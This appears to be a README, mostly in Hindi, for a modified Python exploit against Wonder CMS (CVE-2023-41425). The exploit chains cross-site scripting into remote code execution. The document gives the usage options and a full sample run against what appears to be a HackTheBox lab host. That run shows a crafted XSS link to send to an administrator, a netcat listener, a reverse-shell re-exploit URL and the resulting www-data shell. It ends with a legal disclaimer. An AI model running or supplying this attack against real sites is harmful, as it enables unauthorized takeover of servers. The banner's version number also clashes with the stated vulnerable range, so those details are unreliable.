
Wonder CMS XSS-to-RCE (CVE-2023-41425) के लिए Python शोषण जो स्थानीय रूप से दुर्भावनापूर्ण स्क्रिप्ट परोसता है, बाहरी निर्भरता के बिना रिमोट कोड निष्पादन सक्षम करता है।
Wonder CMS संस्करण 3.2.0 से संस्करण 3.4.2 में एक क्रॉस-साइट स्क्रिप्टिंग भेद्यता एक दूरस्थ हमलावर को installModule घटक पर अपलोड की गई एक क्राफ्टेड स्क्रिप्ट के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। यह prodigiousMind द्वारा बनाए गए मूल एक्सप्लॉइट का एक संशोधित संस्करण है, जो बाहरी इंटरनेट कनेक्शन पर किसी निर्भरता के बिना, पूरे एक्सप्लॉइट को स्थानीय रूप से सर्व करने के लिए एक्सप्लॉइट का विस्तार करता है।
यह तब उपयोगी है जब आप समुद्र में फँसे हों, और अपनी बाइक में कोई समस्या पाई हो...
नोट: xss.js को प्रदर्शन उद्देश्यों के लिए रिपॉजिटरी में छोड़ा गया है; चलाने पर स्क्रिप्ट इसे आपके कॉन्फ़िगरेशन के साथ अधिलेखित कर देगी।
usage: exploit.py [-h] -u URL -lh LHOST -lp LPORT -sh SRVHOST -sp SRVPORT
WonderCMS 4.3.2 XSS to RCE Exploit
options:
-h, --help show this help message and exit
-u URL, --url URL The login URL of the WonderCMS site (e.g., http://localhost/wondercms/loginURL)
-lh LHOST, --lhost LHOST
The IP address for the reverse shell listener
-lp LPORT, --lport LPORT
The port for the reverse shell listener
-sh SRVHOST, --srvhost SRVHOST
The local IP serving the malicious XSS JavaScript
-sp SRVPORT, --srvport SRVPORT
The local port serving the malicious XSS JavaScript
नोट: यह एक्सप्लॉइट काम करने में काफी धीमा हो सकता है!
$python3 exploit.py -u http://sea.htb/loginURL -lh 10.10.14.101 -lp 7777 -sh 10.10.14.101 -sp 8888
##################################
# Wondercms 4.3.2 XSS to RCE #
# Original POC by prodigiousMind #
# Updated version by Ducksec #
##################################
Check you got this stuff right!
Parsed arguments:
URL: http://sea.htb/loginURL
LHOST: 10.10.14.101
LPORT: 7777
SRVHOST: 10.10.14.101
SRVPORT: 8888
[+] xss.js is created
[+] Execute the below command in another terminal:
----------------------------
nc -lvp 7777
----------------------------
Send the below link to admin:
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.101:8888/xss.js"></script><form+action="
----------------------------
[+] Ensure that main.zip is still in this directory.
[+] Once the target successfully requests main.zip it's safe to kill this script.
[+] Once complete, you can also re-exploit by requesting: http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.101&lport=7777
Starting HTTP server to allow access to xss.js
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.178.129 - - [02/Oct/2024 14:39:51] "GET /xss.js HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
$nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.101] from (UNKNOWN) [10.129.178.129] 39958
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
13:40:01 up 4 min, 0 users, load average: 0.93, 0.49, 0.20
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
यह कोड केवल शैक्षिक और नैतिक सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग जिम्मेदारी से और केवल उन वातावरणों में किया जाना चाहिए जहाँ स्पष्ट प्राधिकरण प्रदान किया गया हो। अनधिकृत या दुर्भावनापूर्ण उपयोग सख्त वर्जित है। इस कोड का उपयोग करके, आप अपने अधिकार क्षेत्र में लागू सभी प्रासंगिक कानूनों, विनियमों और नैतिक मानकों का पालन करने के लिए सहमत होते हैं। निर्माता और योगदानकर्ता इस कोड के दुरुपयोग या अनधिकृत उपयोग से उत्पन्न होने वाली किसी भी क्षति या परिणामों के लिए किसी भी दायित्व को अस्वीकार करते हैं।